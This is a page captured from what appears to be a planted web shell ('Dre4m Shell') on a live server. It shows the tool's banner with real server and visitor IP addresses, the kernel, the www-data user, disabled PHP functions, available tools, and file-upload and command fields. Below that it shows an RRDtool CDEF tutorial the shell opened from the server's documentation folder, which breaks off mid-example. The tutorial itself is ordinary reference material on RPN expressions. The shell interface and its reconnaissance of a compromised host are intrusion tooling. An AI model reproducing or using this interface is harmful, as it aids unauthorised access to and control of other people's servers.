Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.138.134.149
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/3/task/3/root/proc/3/root/proc/3/cwd/usr/share/doc/rrdtool/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/3/task/3/root/proc/3/root/proc/3/cwd/usr/share/doc/rrdtool/html/cdeftutorial.html
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>cdeftutorial</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>

<body>



<h1 id="NAME">NAME</h1>

<p>cdeftutorial - Alex van den Bogaerdt&#39;s CDEF tutorial</p>

<h1 id="DESCRIPTION">DESCRIPTION</h1>

<p>Intention of this document: to provide some examples of the commonly used parts of RRDtool&#39;s CDEF language.</p>

<p>If you think some important feature is not explained properly, and if adding it to this document would benefit most users, please do ask me to add it. I will then try to provide an answer in the next release of this tutorial. No feedback equals no changes! Additions to this document are also welcome. -- Alex van den Bogaerdt &lt;alex@vandenbogaerdt.nl&gt;</p>

<h2 id="Why-this-tutorial">Why this tutorial?</h2>

<p>One of the powerful parts of RRDtool is its ability to do all sorts of calculations on the data retrieved from its databases. However, RRDtool&#39;s many options and syntax make it difficult for the average user to understand. The manuals are good at explaining what these options do; however they do not (and should not) explain in detail why they are useful. As with my RRDtool tutorial: if you want a simple document in simple language you should read this tutorial. If you are happy with the official documentation, you may find this document too simple or even boring. If you do choose to read this tutorial, I also expect you to have read and fully understand my other tutorial.</p>

<h2 id="More-reading">More reading</h2>

<p>If you have difficulties with the way I try to explain it please read Steve Rader&#39;s <a href="./rpntutorial.html">rpntutorial</a>. It may help you understand how this all works.</p>

<h1 id="What-are-CDEFs">What are CDEFs?</h1>

<p>When retrieving data from an RRD, you are using a &quot;DEF&quot; to work with that data. Think of it as a variable that changes over time (where time is the x-axis). The value of this variable is what is found in the database at that particular time and you can&#39;t do any modifications on it. This is what CDEFs are for: they takes values from DEFs and perform calculations on them.</p>

<h1 id="Syntax">Syntax</h1>

<pre><code>DEF:var_name_1=some.rrd:ds_name:CF
CDEF:var_name_2=RPN_expression</code></pre>

<p>You first define &quot;var_name_1&quot; to be data collected from data source &quot;ds_name&quot; found in RRD &quot;some.rrd&quot; with consolidation function &quot;CF&quot;.</p>

<p>Assume the ifInOctets SNMP counter is saved in mrtg.rrd as the DS &quot;in&quot;. Then the following DEF defines a variable for the average of that data source:</p>

<pre><code>DEF:inbytes=mrtg.rrd:in:AVERAGE</code></pre>

<p>Say you want to display bits per second (instead of bytes per second as stored in the database.) You have to define a calculation (hence &quot;CDEF&quot;) on variable &quot;inbytes&quot; and use that variable (inbits) instead of the original:</p>

<pre><code>CDEF:inbits=inbytes,8,*</code></pre>

<p>This tells RRDtool to multiply inbytes by eight to get inbits. I&#39;ll explain later how this works. In the graphing or printing functions, you can now use inbits where you would use inbytes otherwise.</p>

<p>Note that the variable name used in the CDEF (inbits) must not be the same as the variable named in the DEF (inbytes)!</p>

<h1 id="RPN-expressions">RPN-expressions</h1>

<p>RPN is short-hand for Reverse Polish Notation. It works as follows. You put the variables or numbers on a stack. You also put operations (things-to-do) on the stack and this stack is then processed. The result will be placed on the stack. At the end, there should be exactly one number left: the outcome of the series of operations. If there is not exactly one number left, RRDtool will complain loudly.</p>

<p>Above multiplication by eight will look like:</p>

<ol>

<li><p>Start with an empty stack</p>

</li>
<li><p>Put the content of variable inbytes on the stack</p>

</li>
<li><p>Put the number eight on the stack</p>

</li>
<li><p>Put the operation multiply on the stack</p>

</li>
<li><p>Process the stack</p>

</li>
<li><p>Retrieve the value from the stack and put it in variable inbits</p>

</li>
</ol>

<p>We will now do an example with real numbers. Suppose the variable inbytes would have value 10, the stack would be:</p>

<ol>

<li><p>||</p>

</li>
<li><p>|10|</p>

</li>
<li><p>|10|8|</p>

</li>
<li><p>|10|8|*|</p>

</li>
<li><p>|80|</p>

</li>
<li><p>||</p>

</li>
</ol>

<p>Processing the stack (step 5) will retrieve one value from the stack (from the right at step 4). This is the operation multiply and this takes two values off the stack as input. The result is put back on the stack (the value 80 in this case). For multiplication the order doesn&#39;t matter, but for other operations like subtraction and division it does. Generally speaking you have the following order:</p>

<pre><code>y = A - B  --&gt;  y=minus(A,B)  --&gt;  CDEF:y=A,B,-</code></pre>

<p>This is not very intuitive (at least most people don&#39;t think so). For the function f(A,B) you reverse the position of &quot;f&quot;, but you do not reverse the order of the variables.</p>

<h1 id="Converting-your-wishes-to-RPN">Converting your wishes to RPN</h1>

<p>First, get a clear picture of what you want to do. Break down the problem in smaller portions until they cannot be split anymore. Then it is rather simple to convert your ideas into RPN.</p>

<p>Suppose you have several RRDs and would like to add up some counters in them. These could be, for instance, the counters for every WAN link you are monitoring.</p>

<p>You have:</p>

<pre><code>router1.rrd with link1in link2in
router2.rrd with link1in link2in
router3.rrd with link1in link2in</code></pre>

<p>Suppose you would like to add up all these counters, except for link2in inside router2.rrd. You need to do:</p>

<p>(in this example, &quot;router1.rrd:link1in&quot; means the DS link1in inside the RRD router1.rrd)</p>

<pre><code>router1.rrd:link1in
router1.rrd:link2in
router2.rrd:link1in
router3.rrd:link1in
router3.rrd:link2in
--------------------   +
(outcome of the sum)</code></pre>

<p>As a mathematical function, this could be written:</p>

<p><code>add(router1.rrd:link1in , router1.rrd:link2in , router2.rrd:link1in , router3.rrd:link1in , router3.rrd:link2.in)</code></p>

<p>With RRDtool and RPN, first, define the inputs:</p>

<pre><code>DEF:a=router1.rrd:link1in:AVERAGE
DEF:b=router1.rrd:link2in:AVERAGE
DEF:c=router2.rrd:link1in:AVERAGE
DEF:d=router3.rrd:link1in:AVERAGE
DEF:e=router3.rrd:link2in:AVERAGE</code></pre>

<p>Now, the mathematical function becomes: <code>add(a,b,c,d,e)</code></p>

<p>In RPN, there&#39;s no operator that sums more than two values so you need to do several additions. You add a and b, add c to the result, add d to the result and add e to the result.</p>

<pre><code>push a:         a     stack contains the value of a
push b and add: b,+   stack contains the result of a+b
push c and add: c,+   stack contains the result of a+b+c
push d and add: d,+   stack contains the result of a+b+c+d
push e and add: e,+   stack contains the result of a+b+c+d+e</code></pre>

<p>What was calculated here would be written down as:</p>

<pre><code>( ( ( (a+b) + c) + d) + e) &gt;</code></pre>

<p>This is in RPN: <code>CDEF:result=a,b,+,c,+,d,+,e,+</code></p>

<p>This is correct but it can be made more clear to humans. It does not matter if you add a to b and then add c to the result or first add b to c and then add a to the result. This makes it possible to rewrite the RPN into <code>CDEF:result=a,b,c,d,e,+,+,+,+</code> which is evaluated differently:</p>

<pre><code>push value of variable a on the stack: a
push value of variable b on the stack: a b
push value of variable c on the stack: a b c
push value of variable d on the stack: a b c d
push value of variable e on the stack: a b c d e
push operator + on the stack:          a b c d e +
and process it:                        a b c P   (where P == d+e)
push operator + on the stack:          a b c P +
and process it:                        a b Q     (where Q == c+P)
push operator + on the stack:          a b Q +
and process it:                        a R       (where R == b+Q)
push operator + on the stack:          a R +
and process it:                        S         (where S == a+R)</code></pre>

<p>As you can see the RPN expression <code>a,b,c,d,e,+,+,+,+,+</code> will evaluate in <code>((((d+e)+c)+b)+a)</code> and it has the same outcome as <code>a,b,+,c,+,d,+,e,+</code>. This is called the commutative law of addition, but you may forget this right away, as long as you remember what it means.</p>

<p>Now look at an expression that contains a multiplication:</p>

<p>First in normal math: <code>let result = a+b*c</code>. In this case you can&#39;t choose the order yourself, you have to start with the multiplication and then add a to it. You may alter the position of b and c, you must not alter the position of a and b.</p>

<p>You have to take this in consideration when converting this expression into RPN. Read it as: &quot;Add the outcome of b*c to a&quot; and then it is easy to write the RPN expression: <code>result=a,b,c,*,+</code> Another expression that would return the same: <code>result=b,c,*,a,+</code></p>

<p>In normal math, you may encounter something like &quot;a*(b+c)&quot; and this can also be converted into RPN. The parenthesis just tell you to first add b and c, and then multiply a with the result. Again, now it is easy to write it in RPN: <code>result=a,b,c,+,*</code>. Note that this is very similar to one of the expressions in the previous paragraph, only the multiplication and the addition changed places.</p>

<p>When you have problems with RPN or when RRDtool is complaining, it&#39;s usually a good thing to write down the stack on a piece of paper and see what happens. Have the manual ready and pretend to be RRDtool. Just do all the math by hand to see what happens, I&#39;m sure this will solve most, if not all, problems you encounter.</p>

<h1 id="Some-special-numbers">Some special numbers</h1>

<h2 id="The-unknown-value">The unknown value</h2>

<p>Sometimes collecting your data will fail. This can be very common, especially when querying over busy links. RRDtool can be configured to allow for one (or even more) unknown value(s) and calculate the missing update. You can, for instance, query your device every minute. This is creating one so called PDP or primary data point per minute. If you defined your RRD to contain an RRA that stores 5-minute values, you need five of those PDPs to create one CDP (consolidated data point). These PDPs can become unknown in two cases:</p>

<ol>

<li><p>The updates are too far apart. This is tuned using the &quot;heartbeat&quot; setting.</p>

</li>
<li><p>The update was set to unknown on purpose by inserting no value (using the template option) or by using &quot;U&quot; as the value to insert.</p>

</li>
</ol>

<p>When a CDP is calculated, another mechanism determines if this CDP is valid or not. If there are too many PDPs unknown, the CDP is unknown as well. This is determined by the xff factor. Please note that one unknown counter update can result in two unknown PDPs! If you only allow for one unknown PDP per CDP, this makes the CDP go unknown!</p>

<p>Suppose the counter increments with one per second and you retrieve it every minute:</p>

<pre><code>counter value    resulting rate
10&#39;000
10&#39;060            1; (10&#39;060-10&#39;000)/60 == 1
10&#39;120            1; (10&#39;120-10&#39;060)/60 == 1
unknown           unknown; you don&#39;t know the last value
10&#39;240            unknown; you don&#39;t know the previous value
10&#39;300            1; (10&#39;300-10&#39;240)/60 == 1</code></pre>

<p>If the CDP was to be calculated from the last five updates, it would get two unknown PDPs and three known PDPs. If xff would have been set to 0.5 which by the way is a commonly used factor, the CDP would have a known value of 1. If xff would have been set to 0.2 then the resulting CDP would be unknown.</p>

<p>You have to decide the proper values for heartbeat, number of PDPs per CDP and the xff factor. As you can see from the previous text they define the behavior of your RRA.</p>

<h2 id="Working-with-unknown-data-in-your-database">Working with unknown data in your database</h2>

<p>As you have read in the previous chapter, entries in an RRA can be set to the unknown value. If you do calculations with this type of value, the result has to be unknown too. This means that an expression such as <code>result=a,b,+</code> will be unknown if either a or b is unknown. It would be wrong to just ignore the unknown value and return the value of the other parameter. By doing so, you would assume &quot;unknown&quot; means &quot;zero&quot; and this is not true.</p>

<p>There has been a case where somebody was collecting data for over a year. A new piece of equipment was installed, a new RRD was created and the scripts were changed to add a counter from the old database and a counter from the new database. The result was disappointing, a large part of the statistics seemed to have vanished mysteriously ... They of course didn&#39;t, values from the old database (known values) were added to values from the new database (unknown values) and the result was unknown.</p>

<p>In this case, it is fairly reasonable to use a CDEF that alters unknown data into zero. The counters of the device were unknown (after all, it wasn&#39;t installed yet!) but you know that the data rate through the device had to be zero (because of the same reason: it was not installed).</p>

<p>There are some examples below that make this change.</p>

<h2 id="Infinity">Infinity</h2>

<p>Infinite data is another form of a special number. It cannot be graphed because by definition you would never reach the infinite value. You can think of positive and negative infinity depending on the position relative to zero.</p>

<p>RRDtool is capable of representing (-not- graphing!) infinity by stopping at its current maximum (for positive infinity) or minimum (for negative infinity) without knowing this maximum (minimum).</p>

<p>Infinity in RRDtool is mostly used to draw an AREA without knowing its vertical dimensions. You can think of it as drawing an AREA with an infinite height and displaying only the part that is visible in the current graph. This is probably a good way to approximate infinity and it sure allows for some neat tricks. See below for examples.</p>

<h2 id="Working-with-unknown-data-and-infinity">Working with unknown data and infinity</h2>

<p>Sometimes you would like to discard unknown data and pretend it is zero (or any other value for that matter) and sometimes you would like to pretend that known data is unknown (to discard known-to-be-wrong data). This is why CDEFs have support for unknown data. There are also examples available that show unknown data by using infinity.</p>

<h1 id="Some-examples">Some examples</h1>

<h2 id="Example:-using-a-recently-created-RRD">Example: using a recently created RRD</h2>

<p>You are keeping statistics on your router for over a year now. Recently you installed an extra router and you would like to show the combined throughput for these two devices.</p>

<p>If you just add up the counters from router.rrd and router2.rrd, you will add known data (from router.rrd) to unknown data (from router2.rrd) for the bigger part of your stats. You could solve this in a few ways:</p>

<ul>

<li><p>While creating the new database, fill it with zeros from the start to now. You have to make the database start at or before the least recent time in the other database.</p>

</li>
<li><p>Alternatively, you could use CDEF and alter unknown data to zero.</p>

</li>
</ul>

<p>Both methods have their pros and cons. The first method is troublesome and if you want to do that you have to figure it out yourself. It is not possible to create a database filled with zeros, you have to put them in manually. Implementing the second method is described next:</p>

<p>What we want is: &quot;if the value is unknown, replace it with zero&quot;. This could be written in pseudo-code as: if (value is unknown) then (zero) else (value). When reading the <a href="./rrdgraph.html">rrdgraph</a> manual you notice the &quot;UN&quot; function that returns zero or one. You also notice the &quot;IF&quot; function that takes zero or one as input.</p>

<p>First look at the &quot;IF&quot; function. It takes three values from the stack, the first value is the decision point, the second value is returned to the stack if the evaluation is &quot;true&quot; and if not, the third value is returned to the stack. We want the &quot;UN&quot; function to decide what happens so we combine those two functions in one CDEF.</p>

<p>Lets write down the two possible paths for the &quot;IF&quot; function:</p>

<pre><code>if true  return a
if false return b</code></pre>

<p>In RPN: <code>result=x,a,b,IF</code> where &quot;x&quot; is either true or false.</p>

<p>Now we have to fill in &quot;x&quot;, this should be the &quot;(value is unknown)&quot; part and this is in RPN: <code>result=value,UN</code></p>

<p>We now combine them: <code>result=value,UN,a,b,IF</code> and when we fill in the appropriate things for &quot;a&quot; and &quot;b&quot; we&#39;re finished:</p>

<p><code>CDEF:result=value,UN,0,value,IF</code></p>

<p>You may want to read Steve Rader&#39;s RPN guide if you have difficulties with the way I explained this last example.</p>

<p>If you want to check this RPN expression, just mimic RRDtool behavior:</p>

<pre><code>For any known value, the expression evaluates as follows:
CDEF:result=value,UN,0,value,IF  (value,UN) is not true so it becomes 0
CDEF:result=0,0,value,IF         &quot;IF&quot; will return the 3rd value
CDEF:result=value                The known value is returned

For the unknown value, this happens:
CDEF:result=value,UN,0,value,IF  (value,UN) is true so it becomes 1
CDEF:result=1,0,value,IF         &quot;IF&quot; sees 1 and returns the 2nd value
CDEF:result=0                    Zero is returned</code></pre>

<p>Of course, if you would like to see another value instead of zero, you can use that other value.</p>

<p>Eventually, when all unknown data is removed from the RRD, you may want to remove this rule so that unknown data is properly displayed.</p>

<h2 id="Example:-better-handling-of-unknown-data-by-using-time">Example: better handling of unknown data, by using time</h2>

<p>The above example has one drawback. If you do log unknown data in your database after installing your new equipment, it will also be translated into zero and therefore you won&#39;t see that there was a problem. This is not good and what you really want to do is:</p>

<ul>

<li><p>If there is unknown data, look at the time that this sample was taken.</p>

</li>
<li><p>If the unknown value is before time xxx, make it zero.</p>

</li>
<li><p>If it is after time xxx, leave it as unknown data.</p>

</li>
</ul>

<p>This is doable: you can compare the time that the sample was taken to some known time. Assuming you started to monitor your device on Friday September 17, 1999, 00:35:57 MET DST. Translate this time in seconds since 1970-01-01 and it becomes 937&#39;521&#39;357. If you process unknown values that were received after this time, you want to leave them unknown and if they were &quot;received&quot; before this time, you want to translate them into zero (so you can effectively ignore them while adding them to your other routers counters).</p>

<p>Translating Friday September 17, 1999, 00:35:57 MET DST into 937&#39;521&#39;357 can be done by, for instance, using gnu date:</p>

<pre><code>date -d &quot;19990917 00:35:57&quot; +%s</code></pre>

<p>You could also dump the database and see where the data starts to be known. There are several other ways of doing this, just pick one.</p>

<p>Now we have to create the magic that allows us to process unknown values different depending on the time that the sample was taken. This is a three step process:</p>

<ol>

<li><p>If the timestamp of the value is after 937&#39;521&#39;357, leave it as is.</p>

</li>
<li><p>If the value is a known value, leave it as is.</p>

</li>
<li><p>Change the unknown value into zero.</p>

</li>
</ol>

<p>Lets look at part one:</p>

<pre><code>if (true) return the original value</code></pre>

<p>We rewrite this:</p>

<pre><code>if (true) return &quot;a&quot;
if (false) return &quot;b&quot;</code></pre>

<p>We need to calculate true or false from step 1. There is a function available that returns the timestamp for the current sample. It is called, how surprisingly, &quot;TIME&quot;. This time has to be compared to a constant number, we need &quot;GT&quot;. The output of &quot;GT&quot; is true or false and this is good input to &quot;IF&quot;. We want &quot;if (time &gt; 937521357) then (return a) else (return b)&quot;.</p>

<p>This process was already described thoroughly in the previous chapter so lets do it quick:</p>

<pre><code>if (x) then a else b
   where x represents &quot;time&gt;937521357&quot;
   where a represents the original value
   where b represents the outcome of the previous example

time&gt;937521357       --&gt; TIME,937521357,GT

if (x) then a else b --&gt; x,a,b,IF
substitute x         --&gt; TIME,937521357,GT,a,b,IF
substitute a         --&gt; TIME,937521357,GT,value,b,IF
substitute b         --&gt; TIME,937521357,GT,value,value,UN,0,value,IF,IF</code></pre>

<p>We end up with: <code>CDEF:result=TIME,937521357,GT,value,value,UN,0,value,IF,IF</code></p>

<p>This looks very complex, however, as you can see, it was not too hard to come up with.</p>

<h2 id="Example:-Pretending-weird-data-isnt-there">Example: Pretending weird data isn&#39;t there</h2>

<p>Suppose you have a problem that shows up as huge spikes in your graph. You know this happens and why, so you decide to work around the problem. Perhaps you&#39;re using your network to do a backup at night and by doing so you get almost 10mb/s while the rest of your network activity does not produce numbers higher than 100kb/s.</p>

<p>There are two options:</p>

<ol>

<li><p>If the number exceeds 100kb/s it is wrong and you want it masked out by changing it into unknown.</p>

</li>
<li><p>You don&#39;t want the graph to show more than 100kb/s.</p>

</li>
</ol>

<p>Pseudo code: if (number &gt; 100) then unknown else number or Pseudo code: if (number &gt; 100) then 100 else number.</p>

<p>The second &quot;problem&quot; may also be solved by using the rigid option of RRDtool graph, however this has not the same result. In this example you can end up with a graph that does autoscaling. Also, if you use the numbers to display maxima they will be set to 100kb/s.</p>

<p>We use &quot;IF&quot; and &quot;GT&quot; again. &quot;if (x) then (y) else (z)&quot; is written down as &quot;CDEF:result=x,y,z,IF&quot;; now fill in x, y and z. For x you fill in &quot;number greater than 100kb/s&quot; becoming &quot;number,100000,GT&quot; (kilo is 1&#39;000 and b/s is what we measure!). The &quot;z&quot; part is &quot;number&quot; in both cases and the &quot;y&quot; part is either &quot;UNKN&quot; for unknown or &quot;100000&quot; for 100kb/s.</p>

<p>The two CDEF expressions would be:</p>

<pre><code>CDEF:result=number,100000,GT,UNKN,number,IF
CDEF:result=number,100000,GT,100000,number,IF</code></pre>

<h2 id="Example:-working-on-a-certain-time-span">Example: working on a certain time span</h2>

<p>If you want a graph that spans a few weeks, but would only want to see some routers&#39; data for one week, you need to &quot;hide&quot; the rest of the time frame. Don&#39;t ask me when this would be useful, it&#39;s just here for the example :)</p>

<p>We need to compare the time stamp to a begin date and an end date. Comparing isn&#39;t difficult:</p>

<pre><code>TIME,begintime,GE
TIME,endtime,LE</code></pre>

<p>These two parts of the CDEF produce either 0 for false or 1 for true. We can now check if they are both 0 (or 1) using a few IF statements but, as Wataru Satoh pointed out, we can use the &quot;*&quot; or &quot;+&quot; functions as logical AND and logical OR.</p>

<p>For &quot;*&quot;, the result will be zero (false) if either one of the two operators is zero. For &quot;+&quot;, the result will only be false (0) when two false (0) operators will be added. Warning: *any* number not equal to 0 will be considered &quot;true&quot;. This means that, for instance, &quot;-1,1,+&quot; (which should be &quot;true or true&quot;) will become FALSE ... In other words, use &quot;+&quot; only if you know for sure that you have positive numbers (or zero) only.</p>

<p>Let&#39;s compile the complete CDEF:</p>

<pre><code>DEF:ds0=router1.rrd:AVERAGE
CDEF:ds0modified=TIME,begintime,GT,TIME,endtime,LE,*,ds0,UNKN,IF</code></pre>

<p>This will return the value of ds0 if both comparisons return true. You could also do it the other way around:</p>

<pre><code>DEF:ds0=router1.rrd:AVERAGE
CDEF:ds0modified=TIME,begintime,LT,TIME,endtime,GT,+,UNKN,ds0,IF</code></pre>

<p>This will return an UNKNOWN if either comparison returns true.</p>

<h2 id="Example:-You-suspect-to-have-problems-and-want-to-see-unknown-data">Example: You suspect to have problems and want to see unknown data.</h2>

<p>Suppose you add up the number of active users on several terminal servers. If one of them doesn&#39;t give an answer (or an incorrect one) you get &quot;NaN&quot; in the database (&quot;Not a Number&quot;) and NaN is evaluated as Unknown.</p>

<p>In this case, you would like to be alerted to it and the sum of the remaining values is of no value to you.</p>

<p>It would be something like:</p>

<pre><code>DEF:users1=location1.rrd:onlineTS1:LAST
DEF:users2=location1.rrd:onlineTS2:LAST
DEF:users3=location2.rrd:onlineTS1:LAST
DEF:users4=location2.rrd:onlineTS2:LAST
CDEF:allusers=users1,users2,users3,users4,+,+,+</code></pre>

<p>If you now plot allusers, unknown data in one of users1..users4 will show up as a gap in your graph. You want to modify this to show a bright red line, not a gap.</p>

<p>Define an extra CDEF that is unknown if all is okay and is infinite if there is an unknown value:</p>

<pre><code>CDEF:wrongdata=allusers,UN,INF,UNKN,IF</code></pre>

<p>&quot;allusers,UN&quot; will evaluate to either true or false, it is the (x) part of the &quot;IF&quot; function and it checks if allusers is unknown. The (y) part of the &quot;IF&quot; function is set to &quot;INF&quot; (which means infinity) and the (z) part of the function returns &quot;UNKN&quot;.</p>

<p>The logic is: if (allusers == unknown) then return INF else return UNKN.</p>

<p>You can now use AREA to display this &quot;wrongdata&quot; in bright red. If it is unknown (because allusers is known) then the red AREA won&#39;t show up. If the value is INF (because allusers is unknown) then the red AREA will be filled in on the graph at that particular time.</p>

<pre><code>AREA:allusers#0000FF:combined user count
AREA:wrongdata#FF0000:unknown data</code></pre>

<h2 id="Same-example-useful-with-STACKed-data">Same example useful with STACKed data:</h2>

<p>If you use stack in the previous example (as I would do) then you don&#39;t add up the values. Therefore, there is no relationship between the four values and you don&#39;t get a single value to test. Suppose users3 would be unknown at one point in time: users1 is plotted, users2 is stacked on top of users1, users3 is unknown and therefore nothing happens, users4 is stacked on top of users2. Add the extra CDEFs anyway and use them to overlay the &quot;normal&quot; graph:</p>

<pre><code>DEF:users1=location1.rrd:onlineTS1:LAST
DEF:users2=location1.rrd:onlineTS2:LAST
DEF:users3=location2.rrd:onlineTS1:LAST
DEF:users4=location2.rrd:onlineTS2:LAST
CDEF:allusers=users1,users2,users3,users4,+,+,+
CDEF:wrongdata=allusers,UN,INF,UNKN,IF
AREA:users1#0000FF:users at ts1
STACK:users2#00FF00:users at ts2
STACK:users3#00FFFF:users at ts3
STACK:users4#FFFF00:users at ts4
AREA:wrongdata#FF0000:unknown data</code></pre>

<p>If there is unknown data in one of users1..users4, the &quot;wrongdata&quot; AREA will be drawn and because it starts at the X-axis and has infinite height it will effectively overwrite the STACKed parts.</p>

<p>You could combine the two CDEF lines into one (we don&#39;t use &quot;allusers&quot;) if you like. But there are good reasons for writing two CDEFS:</p>

<ul>

<li><p>It improves the readability of the script.</p>

</li>
<li><p>It can be used inside GPRINT to display the total number of users.</p>

</li>
</ul>

<p>If you choose to combine them, you can substitute the &quot;allusers&quot; in the second CDEF with the part after the equal sign from the first line:</p>

<pre><code>CDEF:wrongdata=users1,users2,users3,users4,+,+,+,UN,INF,UNKN,IF</code></pre>

<p>If you do so, you won&#39;t be able to use these next GPRINTs:</p>

<pre><code>COMMENT:&quot;Total number of users seen&quot;
GPRINT:allusers:MAX:&quot;Maximum: %6.0lf&quot;
GPRINT:allusers:MIN:&quot;Minimum: %6.0lf&quot;
GPRINT:allusers:AVERAGE:&quot;Average: %6.0lf&quot;
GPRINT:allusers:LAST:&quot;Current: %6.0lf\n&quot;</code></pre>

<h1 id="The-examples-from-the-RRD-graph-manual-page">The examples from the RRD graph manual page</h1>

<h2 id="Degrees-Celsius-vs.-Degrees-Fahrenheit">Degrees Celsius vs. Degrees Fahrenheit</h2>

<p>To convert Celsius into Fahrenheit use the formula F=9/5*C+32</p>

<pre><code>rrdtool graph demo.png --title=&quot;Demo Graph&quot; \
   DEF:cel=demo.rrd:exhaust:AVERAGE \
   CDEF:far=9,5,/,cel,*,32,+ \
   LINE2:cel#00a000:&quot;D. Celsius&quot; \
   LINE2:far#ff0000:&quot;D. Fahrenheit\c&quot;</code></pre>

<p>This example gets the DS called &quot;exhaust&quot; from database &quot;demo.rrd&quot; and puts the values in variable &quot;cel&quot;. The CDEF used is evaluated as follows:</p>

<pre><code>CDEF:far=9,5,/,cel,*,32,+
1. push 9, push 5
2. push function &quot;divide&quot; and process it
   the stack now contains 9/5
3. push variable &quot;cel&quot;
4. push function &quot;multiply&quot; and process it
   the stack now contains 9/5*cel
5. push 32
6. push function &quot;plus&quot; and process it
   the stack contains now the temperature in Fahrenheit</code></pre>

<h2 id="Changing-unknown-into-zero">Changing unknown into zero</h2>

<pre><code>rrdtool graph demo.png --title=&quot;Demo Graph&quot; \
   DEF:idat1=interface1.rrd:ds0:AVERAGE \
   DEF:idat2=interface2.rrd:ds0:AVERAGE \
   DEF:odat1=interface1.rrd:ds1:AVERAGE \
   DEF:odat2=interface2.rrd:ds1:AVERAGE \
   CDEF:agginput=idat1,UN,0,idat1,IF,idat2,UN,0,idat2,IF,+,8,* \
   CDEF:aggoutput=odat1,UN,0,odat1,IF,odat2,UN,0,odat2,IF,+,8,* \
   AREA:agginput#00cc00:Input Aggregate \
   LINE1:aggoutput#0000FF:Output Aggregate</code></pre>

<p>These two CDEFs are built from several functions. It helps to split them when viewing what they do. Starting with the first CDEF we would get:</p>

<pre><code>idat1,UN --&gt; a
0        --&gt; b
idat1    --&gt; c
if (a) then (b) else (c)</code></pre>

<p>The result is therefore &quot;0&quot; if it is true that &quot;idat1&quot; equals &quot;UN&quot;. If not, the original value of &quot;idat1&quot; is put back on the stack. Lets call this answer &quot;d&quot;. The process is repeated for the next five items on the stack, it is done the same and will return answer &quot;h&quot;. The resulting stack is therefore &quot;d,h&quot;. The expression has been simplified to &quot;d,h,+,8,*&quot; and it will now be easy to see that we add &quot;d&quot; and &quot;h&quot;, and multiply the result with eight.</p>

<p>The end result is that we have added &quot;idat1&quot; and &quot;idat2&quot; and in the process we effectively ignored unknown values. The result is multiplied by eight, most likely to convert bytes/s to bits/s.</p>

<h2 id="Infinity-demo">Infinity demo</h2>

<pre><code>rrdtool graph example.png --title=&quot;INF demo&quot; \
   DEF:val1=some.rrd:ds0:AVERAGE \
   DEF:val2=some.rrd:ds1:AVERAGE \
   DEF:val3=some.rrd:ds2:AVERAGE \
   DEF:val4=other.rrd:ds0:AVERAGE \
   CDEF:background=val4,POP,TIME,7200,%,3600,LE,INF,UNKN,IF \
   CDEF:wipeout=val1,val2,val3,val4,+,+,+,UN,INF,UNKN,IF \
   AREA:background#F0F0F0 \
   AREA:val1#0000FF:Value1 \
   STACK:val2#00C000:Value2 \
   STACK:val3#FFFF00:Value3 \
   STACK:val4#FFC000:Value4 \
   AREA:whipeout#FF0000:Unknown</code></pre>

<p>This demo demonstrates two ways to use infinity. It is a bit tricky to see what happens in the &quot;background&quot; CDEF.</p>

<pre><code>&quot;val4,POP,TIME,7200,%,3600,LE,INF,UNKN,IF&quot;</code></pre>

<p>This RPN takes the value of &quot;val4&quot; as input and then immediately removes it from the stack using &quot;POP&quot;. The stack is now empty but as a side effect we now know the time that this sample was taken. This time is put on the stack by the &quot;TIME&quot; function.</p>

<p>&quot;TIME,7200,%&quot; takes the modulo of time and 7&#39;200 (which is two hours). The resulting value on the stack will be a number in the range from 0 to 7199.</p>

<p>For people who don&#39;t know the modulo function: it is the remainder after an integer division. If you divide 16 by 3, the answer would be 5 and the remainder would be 1. So, &quot;16,3,%&quot; returns 1.</p>

<p>We have the result of &quot;TIME,7200,%&quot; on the stack, lets call this &quot;a&quot;. The start of the RPN has become &quot;a,3600,LE&quot; and this checks if &quot;a&quot; is less or equal than &quot;3600&quot;. It is true half of the time. We now have to process the rest of the RPN and this is only a simple &quot;IF&quot; function that returns either &quot;INF&quot; or &quot;UNKN&quot; depending on the time. This is returned to variable &quot;background&quot;.</p>

<p>The second CDEF has been discussed earlier in this document so we won&#39;t do that here.</p>

<p>Now you can draw the different layers. Start with the background that is either unknown (nothing to see) or infinite (the whole positive part of the graph gets filled).</p>

<p>Next you draw the data on top of this background, it will overlay the background. Suppose one of val1..val4 would be unknown, in that case you end up with only three bars stacked on top of each other. You don&#39;t want to see this because the data is only valid when all four variables are valid. This is why you use the second CDEF, it will overlay the data with an AREA so the data cannot be seen anymore.</p>

<p>If your data can also have negative values you also need to overwrite the other half of your graph. This can be done in a relatively simple way: what you need is the &quot;wipeout&quot; variable and place a negative sign before it: &quot;CDEF:wipeout2=wipeout,-1,*&quot;</p>

<h2 id="Filtering-data">Filtering data</h2>

<p>You may do some complex data filtering:</p>

<pre><code>MEDIAN FILTER: filters shot noise

  DEF:var=database.rrd:traffic:AVERAGE
  CDEF:prev1=PREV(var)
  CDEF:prev2=PREV(prev1)
  CDEF:median=var,prev1,prev2,3,SORT,POP,EXC,POP
  LINE3:median#000077:filtered
  LINE1:prev2#007700:&#39;raw data&#39;


DERIVATE:

  DEF:var=database.rrd:traffic:AVERAGE
  CDEF:prev1=PREV(var)
